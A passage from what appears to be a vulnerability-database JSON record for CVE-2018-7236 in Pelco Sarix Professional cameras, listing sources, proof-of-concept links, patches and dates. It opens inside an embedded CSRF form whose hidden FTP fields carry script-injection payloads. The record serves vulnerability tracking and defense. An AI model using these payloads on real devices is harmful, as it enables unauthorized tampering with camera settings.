value=\"Ftp\" /\u003e\n      \u003cinput type=\"hidden\" name=\"email\u0026#95;to\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"email\u0026#95;from\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"email\u0026#95;subject\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"email\u0026#95;message\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"dest\u0026#95;name\" value=\"IMG\u0026#37;m\u0026#37;d\u0026#37;Y\u0026#37;H\u0026#37;M\u0026#37;S\u0026#46;jpg\" /\u003e\n      \u003cinput type=\"hidden\" name=\"limit\u0026#95;size\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"limit\u0026#95;size\u0026#95;scale\" value=\"K\" /\u003e\n      \u003cinput type=\"hidden\" name=\"ftp\u0026#95;server\" value=\u0027\"\u003e\u003cscript\u003ealert(16)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"ftp\u0026#95;username\" value=\u0027\"\u003e\u003cscript\u003ealert(17)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"ftp\u0026#95;password\" value=\u0027\"\u003e\u003cscript\u003ealert(18)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"ftp\u0026#95;base\u0026#95;path\" value=\u0027\"\u003e\u003cscript\u003ealert(19)\u003c/script\u003e\u0027 /\u003e\n      \u003cinput type=\"hidden\" name=\"ftp\u0026#95;dest\u0026#95;name\" value=\"IMG\u0026#37;m\u0026#37;d\u0026#37;Y\u0026#37;H\u0026#37;M\u0026#37;S\u0026#46;jpg\" /\u003e\n      \u003cinput type=\"hidden\" name=\"relay\u0026#95;bankName\" value=\"GPIO\" /\u003e\n      \u003cinput type=\"hidden\" name=\"relay\u0026#95;index\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"relay\u0026#95;on\u0026#95;time\" value=\"0\u0026#46;1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"relay\u0026#95;off\u0026#95;time\" value=\"0\u0026#46;1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"relay\u0026#95;pulse\u0026#95;count\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"filter\u0026#95;start0\" value=\"\" /\u003e\n      \u003cinput type=\"hidden\" name=\"filter\u0026#95;stop0\" value=\"\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2018-7236"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "db": "PACKETSTORM",
        "id": "143313"
      }
    ],
    "trust": 3.06
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.zeroscience.mk/codes/pelco_rce.txt",
        "trust": 0.1,
        "type": "poc"
      },
      {
        "reference": "https://www.zeroscience.mk/codes/pelco_csrf.txt",
        "trust": 0.1,
        "type": "poc"
      },
      {
        "reference": "https://www.zeroscience.mk/codes/pelco_xss.txt",
        "trust": 0.1,
        "type": "poc"
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2018-7236",
        "trust": 3.1
      },
      {
        "db": "SCHNEIDER",
        "id": "SEVD-2018-058-01",
        "trust": 1.7
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614",
        "trust": 0.8
      },
      {
        "db": "EXPLOIT-DB",
        "id": "42307",
        "trust": 0.7
      },
      {
        "db": "EXPLOITDB",
        "id": "42307",
        "trust": 0.6
      },
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302",
        "trust": 0.6
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053",
        "trust": 0.6
      },
      {
        "db": "SCHNEIDER",
        "id": "SEVD-2019-045-03",
        "trust": 0.3
      },
      {
        "db": "PACKETSTORM",
        "id": "143313",
        "trust": 0.2
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415",
        "trust": 0.2
      },
      {
        "db": "PACKETSTORM",
        "id": "143315",
        "trust": 0.1
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7829",
        "trust": 0.1
      },
      {
        "db": "CXSECURITY",
        "id": "WLB-2017070080",
        "trust": 0.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "42309",
        "trust": 0.1
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417",
        "trust": 0.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "42308",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "143314",
        "trust": 0.1
      },
      {
        "db": "CXSECURITY",
        "id": "WLB-2017070076",
        "trust": 0.1
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416",
        "trust": 0.1
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7827",
        "trust": 0.1
      },
      {
        "db": "CXSECURITY",
        "id": "WLB-2017070075",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "PACKETSTORM",
        "id": "143313"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "id": "VAR-201803-1843",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      }
    ],
    "trust": 2.2
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "ICS",
          "Network device"
        ],
        "sub_category": null,
        "trust": 1.2
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      }
    ]
  },
  "last_update_date": "2024-11-23T21:39:29.914000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "SEVD-2018-058-01",
        "trust": 0.8,
        "url": "https://download.schneider-electric.com/files?p_enDocType=Technical+leaflet\u0026p_File_Id=9607912128\u0026p_File_Name=SEVD-2018-058-01+Pelco+Sarix+Professional+V1.2.pdf\u0026p_Doc_Ref=SEVD-2018-058-01"
      },
      {
        "title": "SchneiderElectricPelcoSarixProfessional Unauthorized Patch for Operational Vulnerability",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchInfo/show/121577"
      },
      {
        "title": "Schneider Electric Pelco Sarix Professional Security vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=78847"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-287",
        "trust": 1.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 1.7,
        "url": "https://www.schneider-electric.com/en/download/document/sevd-2018-058-01/"
      },
      {
        "trust": 1.4,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-7236"
      },
      {
        "trust": 0.9,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-7236"
      },
      {
        "trust": 0.7,
        "url": "https://www.exploit-db.com/exploits/42307/"
      },
      {
        "trust": 0.3,
        "url": "https://www.schneider-electric.com/en/download/document/sevd-2019-045-03/"
      },
      {
        "trust": 0.1,
        "url": "https://www.exploit-db.com/exploits/42309/"
      },
      {
        "trust": 0.1,
        "url": "https://cxsecurity.com/issue/wlb-2017070080"
      },
      {
        "trust": 0.1,
        "url": "https://packetstormsecurity.com/files/143315"
      },
      {
        "trust": 0.1,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/129667"
      },
      {
        "trust": 0.1,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-7829"
      },
      {
        "trust": 0.1,
        "url": "https://www.exploit-db.com/exploits/42308/"
      },
      {
        "trust": 0.1,
        "url": "https://cxsecurity.com/issue/wlb-2017070076"
      },
      {
        "trust": 0.1,
        "url": "https://packetstormsecurity.com/files/143314"
      },
      {
        "trust": 0.1,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/129666"
      },
      {
        "trust": 0.1,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-7828"
      },
      {
        "trust": 0.1,
        "url": "https://cxsecurity.com/issue/wlb-2017070075"
      },
      {
        "trust": 0.1,
        "url": "https://packetstormsecurity.com/files/143313"
      },
      {
        "trust": 0.1,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/129665"
      },
      {
        "trust": 0.1,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-7827"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.1/setup/network/dot1x/update\""
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.1/setup/system/general/update\""
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.1/setup/events/handlers/update\""
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.1/setup/network/general/update\""
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.1/setup/network/snmp/update\""
      },
      {
        "trust": 0.1,
        "url": "https://www.pelco.com"
      },
      {
        "trust": 0.1,
        "url": "http://www.zeroscience.mk/en/vulnerabilities/zsl-2017-5415.php"
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "PACKETSTORM",
        "id": "143313"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "db": "PACKETSTORM",
        "id": "143313"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2017-07-10T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "date": "2017-07-10T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "date": "2017-07-10T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "date": "2017-08-28T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "date": "2018-03-15T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "date": "2018-04-20T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "date": "2017-07-11T04:32:15",
        "db": "PACKETSTORM",
        "id": "143313"
      },
      {
        "date": "2018-03-01T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      },
      {
        "date": "2018-03-09T23:29:00.810000",
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2019-02-23T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2017-5417"
      },
      {
        "date": "2019-02-23T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2017-5416"
      },
      {
        "date": "2019-02-23T00:00:00",
        "db": "ZSL",
        "id": "ZSL-2017-5415"
      },
      {
        "date": "2017-08-28T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2017-23302"
      },
      {
        "date": "2018-03-15T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-05330"
      },
      {
        "date": "2018-04-20T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      },
      {
        "date": "2022-02-07T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      },
      {
        "date": "2024-11-21T04:11:50.863000",
        "db": "NVD",
        "id": "CVE-2018-7236"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Schneider Electric Pelco Sarix Professional Authentication vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-002614"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "authorization issue",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201803-053"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.